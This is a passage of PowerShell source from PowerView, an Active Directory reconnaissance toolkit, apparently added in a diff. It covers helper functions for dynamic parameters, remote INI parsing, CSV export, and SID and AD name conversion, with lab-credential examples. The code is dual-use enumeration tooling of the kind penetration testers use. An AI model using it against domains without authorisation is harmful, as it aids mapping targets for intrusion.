RuntimeDefinedParameterDictionary. +Appropriate for custom dynamic parameters creation. + +If not specified, create and return a RuntimeDefinedParameterDictionary +Appropriate for a simple dynamic parameter creation. +#> + + [CmdletBinding(DefaultParameterSetName = 'DynamicParameter')] + Param ( + [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [string]$Name, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [System.Type]$Type = [int], + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [string[]]$Alias, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$Mandatory, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [int]$Position, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [string]$HelpMessage, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$DontShow, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValueFromPipeline, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValueFromPipelineByPropertyName, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValueFromRemainingArguments, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [string]$ParameterSetName = '__AllParameterSets', + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$AllowNull, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$AllowEmptyString, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$AllowEmptyCollection, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValidateNotNull, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [switch]$ValidateNotNullOrEmpty, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateCount(2,2)] + [int[]]$ValidateCount, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateCount(2,2)] + [int[]]$ValidateRange, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateCount(2,2)] + [int[]]$ValidateLength, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [string]$ValidatePattern, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [scriptblock]$ValidateScript, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [string[]]$ValidateSet, + + [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] + [ValidateNotNullOrEmpty()] + [ValidateScript({ + if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary])) + { + Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object' + } + $true + })] + $Dictionary = $false, + + [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] + [switch]$CreateVariables, + + [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] + [ValidateNotNullOrEmpty()] + [ValidateScript({ + # System.Management.Automation.PSBoundParametersDictionary is an internal sealed class, + # so one can't use PowerShell's '-is' operator to validate type. + if($_.GetType().Name -notmatch 'Dictionary') { + Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object' + } + $true + })] + $BoundParameters + ) + + Begin { + $InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary + function _temp { [CmdletBinding()] Param() } + $CommonParameters = (Get-Command _temp).Parameters.Keys + } + + Process { + if($CreateVariables) { + $BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ } + ForEach($Parameter in $BoundKeys) { + if ($Parameter) { + Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force + } + } + } + else { + $StaleKeys = @() + $StaleKeys = $PSBoundParameters.GetEnumerator() | + ForEach-Object { + if($_.Value.PSobject.Methods.Name -match '^Equals$') { + # If object has Equals, compare bound key and variable using it + if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) { + $_.Key + } + } + else { + # If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator + if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) { + $_.Key + } + } + } + if($StaleKeys) { + $StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)} + } + + # Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters + $UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator() | + # Find parameters that are belong to the current parameter set + Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } | + Select-Object -ExpandProperty Key | + # Find unbound parameters in the current parameter set + Where-Object { $PSBoundParameters.Keys -notcontains $_ } + + # Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified) + $tmp = $null + ForEach ($Parameter in $UnboundParameters) { + $DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0 + if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) { + $PSBoundParameters.$Parameter = $DefaultValue + } + } + + if($Dictionary) { + $DPDictionary = $Dictionary + } + else { + $DPDictionary = $InternalDictionary + } + + # Shortcut for getting local variables + $GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0} + + # Strings to match attributes and validation arguments + $AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$' + $ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$' + $AliasRegex = '^Alias$' + $ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute + + switch -regex ($PSBoundParameters.Keys) { + $AttributeRegex { + Try { + $ParameterAttribute.$_ = . $GetVar + } + Catch { + $_ + } + continue + } + } + + if($DPDictionary.Keys -contains $Name) { + $DPDictionary.$Name.Attributes.Add($ParameterAttribute) + } + else { + $AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute] + switch -regex ($PSBoundParameters.Keys) { + $ValidationRegex { + Try { + $ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop + $AttributeCollection.Add($ParameterOptions) + } + Catch { $_ } + continue + } + $AliasRegex { + Try { + $ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop + $AttributeCollection.Add($ParameterAlias) + continue + } + Catch { $_ } + } + } + $AttributeCollection.Add($ParameterAttribute) + $Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection) + $DPDictionary.Add($Name, $Parameter) + } + } + } + + End { + if(!$CreateVariables -and !$Dictionary) { + $DPDictionary + } + } +} + + +function Get-IniContent { +<# +.SYNOPSIS + +This helper parses an .ini file into a hashtable. + +Author: 'The Scripting Guys' +Modifications: @harmj0y (-Credential support) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection + +.DESCRIPTION + +Parses an .ini file into a hashtable. If -Credential is supplied, +then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file +is parsed, and then the connection is destroyed with Remove-RemoteConnection. + +.PARAMETER Path + +Specifies the path to the .ini file to parse. + +.PARAMETER OutputObject + +Switch. Output a custom PSObject instead of a hashtable. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +Get-IniContent C:\Windows\example.ini + +.EXAMPLE + +"C:\Windows\example.ini" | Get-IniContent -OutputObject + +Outputs the .ini details as a proper nested PSObject. + +.EXAMPLE + +"C:\Windows\example.ini" | Get-IniContent + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred + +.INPUTS + +String + +Accepts one or more .ini paths on the pipeline. + +.OUTPUTS + +Hashtable + +Ouputs a hashtable representing the parsed .ini file. + +.LINK + +https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('FullName', 'Name')] + [ValidateNotNullOrEmpty()] + [String[]] + $Path, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $OutputObject + ) + + BEGIN { + $MappedComputers = @{} + } + + PROCESS { + ForEach ($TargetPath in $Path) { + if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $HostComputer = (New-Object System.Uri($TargetPath)).Host + if (-not $MappedComputers[$HostComputer]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential + $MappedComputers[$HostComputer] = $True + } + } + + if (Test-Path -Path $TargetPath) { + if ($PSBoundParameters['OutputObject']) { + $IniObject = New-Object PSObject + } + else { + $IniObject = @{} + } + Switch -Regex -File $TargetPath { + "^\[(.+)\]" # Section + { + $Section = $matches[1].Trim() + if ($PSBoundParameters['OutputObject']) { + $Section = $Section.Replace(' ', '') + $SectionObject = New-Object PSObject + $IniObject | Add-Member Noteproperty $Section $SectionObject + } + else { + $IniObject[$Section] = @{} + } + $CommentCount = 0 + } + "^(;.*)$" # Comment + { + $Value = $matches[1].Trim() + $CommentCount = $CommentCount + 1 + $Name = 'Comment' + $CommentCount + if ($PSBoundParameters['OutputObject']) { + $Name = $Name.Replace(' ', '') + $IniObject.$Section | Add-Member Noteproperty $Name $Value + } + else { + $IniObject[$Section][$Name] = $Value + } + } + "(.+?)\s*=(.*)" # Key + { + $Name, $Value = $matches[1..2] + $Name = $Name.Trim() + $Values = $Value.split(',') | ForEach-Object { $_.Trim() } + + # if ($Values -isnot [System.Array]) { $Values = @($Values) } + + if ($PSBoundParameters['OutputObject']) { + $Name = $Name.Replace(' ', '') + $IniObject.$Section | Add-Member Noteproperty $Name $Values + } + else { + $IniObject[$Section][$Name] = $Values + } + } + } + $IniObject + } + } + } + + END { + # remove the IPC$ mappings + $MappedComputers.Keys | Remove-RemoteConnection + } +} + + +function Export-PowerViewCSV { +<# +.SYNOPSIS + +Converts objects into a series of comma-separated (CSV) strings and saves the +strings in a CSV file in a thread-safe manner. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This helper exports an -InputObject to a .csv in a thread-safe manner +using a mutex. This is so the various multi-threaded functions in +PowerView has a thread-safe way to export output to the same file. +Uses .NET IO.FileStream/IO.StreamWriter objects for speed. + +Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590 + +.PARAMETER InputObject + +Specifies the objects to export as CSV strings. + +.PARAMETER Path + +Specifies the path to the CSV output file. + +.PARAMETER Delimiter + +Specifies a delimiter to separate the property values. The default is a comma (,) + +.PARAMETER Append + +Indicates that this cmdlet adds the CSV output to the end of the specified file. +Without this parameter, Export-PowerViewCSV replaces the file contents without warning. + +.EXAMPLE + +Get-DomainUser | Export-PowerViewCSV -Path "users.csv" + +.EXAMPLE + +Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|' + +.INPUTS + +PSObject + +Accepts one or more PSObjects on the pipeline. + +.LINK + +http://poshcode.org/1590 +http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [System.Management.Automation.PSObject[]] + $InputObject, + + [Parameter(Mandatory = $True, Position = 1)] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [Parameter(Position = 2)] + [ValidateNotNullOrEmpty()] + [Char] + $Delimiter = ',', + + [Switch] + $Append + ) + + BEGIN { + $OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path']) + $Exists = [System.IO.File]::Exists($OutputPath) + + # mutex so threaded code doesn't stomp on the output file + $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex' + $Null = $Mutex.WaitOne() + + if ($PSBoundParameters['Append']) { + $FileMode = [System.IO.FileMode]::Append + } + else { + $FileMode = [System.IO.FileMode]::Create + $Exists = $False + } + + $CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $CSVWriter = New-Object System.IO.StreamWriter($CSVStream) + $CSVWriter.AutoFlush = $True + } + + PROCESS { + ForEach ($Entry in $InputObject) { + $ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation + + if (-not $Exists) { + # output the object field names as well + $ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) } + $Exists = $True + } + else { + # only output object field data + $ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) } + } + } + } + + END { + $Mutex.ReleaseMutex() + $CSVWriter.Dispose() + $CSVStream.Dispose() + } +} + + +function Resolve-IPAddress { +<# +.SYNOPSIS + +Resolves a given hostename to its associated IPv4 address. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Resolves a given hostename to its associated IPv4 address using +[Net.Dns]::GetHostEntry(). If no hostname is provided, the default +is the IP address of the localhost. + +.EXAMPLE + +Resolve-IPAddress -ComputerName SERVER + +.EXAMPLE + +@("SERVER1", "SERVER2") | Resolve-IPAddress + +.INPUTS + +String + +Accepts one or more IP address strings on the pipeline. + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +A custom PSObject with the ComputerName and IPAddress. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object { + if ($_.AddressFamily -eq 'InterNetwork') { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ComputerName' $Computer + $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString + $Out + } + } + } + catch { + Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address." + } + } + } +} + + +function ConvertTo-SID { +<# +.SYNOPSIS + +Converts a given user/group name to a security identifier (SID). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain + +.DESCRIPTION + +Converts a "DOMAIN\username" syntax to a security identifier (SID) +using System.Security.Principal.NTAccount's translate function. If alternate +credentials are supplied, then Get-ADObject is used to try to map the name +to a security identifier. + +.PARAMETER ObjectName + +The user/group name to convert, can be 'user' or 'DOMAIN\user' format. + +.PARAMETER Domain + +Specifies the domain to use for the translation, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the translation. + +.PARAMETER Credential + +Specifies an alternate credential to use for the translation. + +.EXAMPLE + +ConvertTo-SID 'DEV\dfm' + +.EXAMPLE + +'DEV\dfm','DEV\krbtgt' | ConvertTo-SID + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred + +.INPUTS + +String + +Accepts one or more username specification strings on the pipeline. + +.OUTPUTS + +String + +A string representing the SID of the translated name. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name', 'Identity')] + [String[]] + $ObjectName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $DomainSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential } + } + + PROCESS { + ForEach ($Object in $ObjectName) { + $Object = $Object -Replace '/','\' + + if ($PSBoundParameters['Credential']) { + $DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments + if ($DN) { + $UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $UserName = $DN.Split(',')[0].split('=')[1] + + $DomainSearcherArguments['Identity'] = $UserName + $DomainSearcherArguments['Domain'] = $UserDomain + $DomainSearcherArguments['Properties'] = 'objectsid' + Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid + } + } + else { + try { + if ($Object.Contains('\')) { + $Domain = $Object.Split('\')[0] + $Object = $Object.Split('\')[1] + } + elseif (-not $PSBoundParameters['Domain']) { + $DomainSearcherArguments = @{} + $Domain = (Get-Domain @DomainSearcherArguments).Name + } + + $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object)) + $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value + } + catch { + Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_" + } + } + } + } +} + + +function ConvertFrom-SID { +<# +.SYNOPSIS + +Converts a security identifier (SID) to a group/user name. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName + +.DESCRIPTION + +Converts a security identifier string (SID) to a group/user name +using Convert-ADName. + +.PARAMETER ObjectSid + +Specifies one or more SIDs to convert. + +.PARAMETER Domain + +Specifies the domain to use for the translation, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the translation. + +.PARAMETER Credential + +Specifies an alternate credential to use for the translation. + +.EXAMPLE + +ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 + +TESTLAB\harmj0y + +.EXAMPLE + +"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID + +TESTLAB\WINDOWS2$ +TESTLAB\harmj0y +BUILTIN\Distributed COM Users + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred + +TESTLAB\harmj0y + +.INPUTS + +String + +Accepts one or more SID strings on the pipeline. + +.OUTPUTS + +String + +The converted DOMAIN\username. +#> + + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SID')] + [ValidatePattern('^S-1-.*')] + [String[]] + $ObjectSid, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $ADNameArguments = @{} + if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } + } + + PROCESS { + ForEach ($TargetSid in $ObjectSid) { + $TargetSid = $TargetSid.trim('*') + try { + # try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330 + Switch ($TargetSid) { + 'S-1-0' { 'Null Authority' } + 'S-1-0-0' { 'Nobody' } + 'S-1-1' { 'World Authority' } + 'S-1-1-0' { 'Everyone' } + 'S-1-2' { 'Local Authority' } + 'S-1-2-0' { 'Local' } + 'S-1-2-1' { 'Console Logon ' } + 'S-1-3' { 'Creator Authority' } + 'S-1-3-0' { 'Creator Owner' } + 'S-1-3-1' { 'Creator Group' } + 'S-1-3-2' { 'Creator Owner Server' } + 'S-1-3-3' { 'Creator Group Server' } + 'S-1-3-4' { 'Owner Rights' } + 'S-1-4' { 'Non-unique Authority' } + 'S-1-5' { 'NT Authority' } + 'S-1-5-1' { 'Dialup' } + 'S-1-5-2' { 'Network' } + 'S-1-5-3' { 'Batch' } + 'S-1-5-4' { 'Interactive' } + 'S-1-5-6' { 'Service' } + 'S-1-5-7' { 'Anonymous' } + 'S-1-5-8' { 'Proxy' } + 'S-1-5-9' { 'Enterprise Domain Controllers' } + 'S-1-5-10' { 'Principal Self' } + 'S-1-5-11' { 'Authenticated Users' } + 'S-1-5-12' { 'Restricted Code' } + 'S-1-5-13' { 'Terminal Server Users' } + 'S-1-5-14' { 'Remote Interactive Logon' } + 'S-1-5-15' { 'This Organization ' } + 'S-1-5-17' { 'This Organization ' } + 'S-1-5-18' { 'Local System' } + 'S-1-5-19' { 'NT Authority' } + 'S-1-5-20' { 'NT Authority' } + 'S-1-5-80-0' { 'All Services ' } + 'S-1-5-32-544' { 'BUILTIN\Administrators' } + 'S-1-5-32-545' { 'BUILTIN\Users' } + 'S-1-5-32-546' { 'BUILTIN\Guests' } + 'S-1-5-32-547' { 'BUILTIN\Power Users' } + 'S-1-5-32-548' { 'BUILTIN\Account Operators' } + 'S-1-5-32-549' { 'BUILTIN\Server Operators' } + 'S-1-5-32-550' { 'BUILTIN\Print Operators' } + 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } + 'S-1-5-32-552' { 'BUILTIN\Replicators' } + 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } + 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } + 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } + 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } + 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } + 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } + 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } + 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } + 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } + 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } + 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } + 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } + 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } + 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } + 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } + 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } + 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } + 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } + Default { + Convert-ADName -Identity $TargetSid @ADNameArguments + } + } + } + catch { + Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_" + } + } + } +} + + +function Convert-ADName { +<# +.SYNOPSIS + +Converts Active Directory object names between a variety of formats. + +Author: Bill Stewart, Pasquale Lantella +Modifications: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK) +and translates Active Directory names between various formats using the NameTranslate COM object. + +.PARAMETER Identity + +Specifies the Active Directory object name to translate, of the following form: + + DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' + Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' + NT4 domain\username; e.g., 'fabrikam\pflynn' + Display display name, e.g. 'pflynn' + DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' + EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' + GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' + UPN user principal name; e.g., 'pflynn@fabrikam.com' + CanonicalEx extended canonical name format + SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' + SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999' + +.PARAMETER OutputType + +Specifies the output name type you want to convert to, which must be one of the following: + + DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' + Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' + NT4 domain\username; e.g., 'fabrikam\pflynn' + Display display name, e.g. 'pflynn' + DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' + EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' + GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' + UPN user principal name; e.g., 'pflynn@fabrikam.com' + CanonicalEx extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn' + SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' + +.PARAMETER Domain + +Specifies the domain to use for the translation, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the translation. + +.PARAMETER Credential + +Specifies an alternate credential to use for the translation. + +.EXAMPLE + +Convert-ADName -Identity "TESTLAB\harmj0y" + +harmj0y@testlab.local + +.EXAMPLE + +"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical + +testlab.local/Users/krbtgt +testlab.local/Users/Administrator + +.EXAMPLE + +Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local + +CN=harmj0y,CN=Users,DC=testlab,DC=local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred + +TESTLAB\harmj0y + +.INPUTS + +String + +Accepts one or more objects name strings on the pipeline. + +.OUTPUTS + +String + +Outputs a string representing the converted name. + +.LINK + +http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67 +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name', 'ObjectName')] + [String[]] + $Identity, + + [String] + [ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')] + $OutputType, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $NameTypes = @{ + 'DN' = 1 # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com + 'Canonical' = 2 # fabrikam.com/Engineers/Phineas Flynn + 'NT4' = 3 # fabrikam\pflynn + 'Display' = 4 # pflynn + 'DomainSimple' = 5 # pflynn@fabrikam.com + 'EnterpriseSimple' = 6 # pflynn@fabrikam.com + 'GUID' = 7 # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436} + 'Unknown' = 8 # unknown type - let the server do translation + 'UPN' = 9 # pflynn@fabrikam.com + 'CanonicalEx' = 10 # fabrikam.com/Users/Phineas Flynn + 'SPN' = 11 # HTTP/kairomac.contoso.com + 'SID' = 12 # S-1-5-21-12986231-600641547-709122288-57999 + } + + # accessor functions from Bill Stewart to simplify calls to NameTranslate + function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { + $Output = $Null + $Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters) + Write-Output $Output + } + + function Get-Property([__ComObject] $Object, [String] $Property) { + 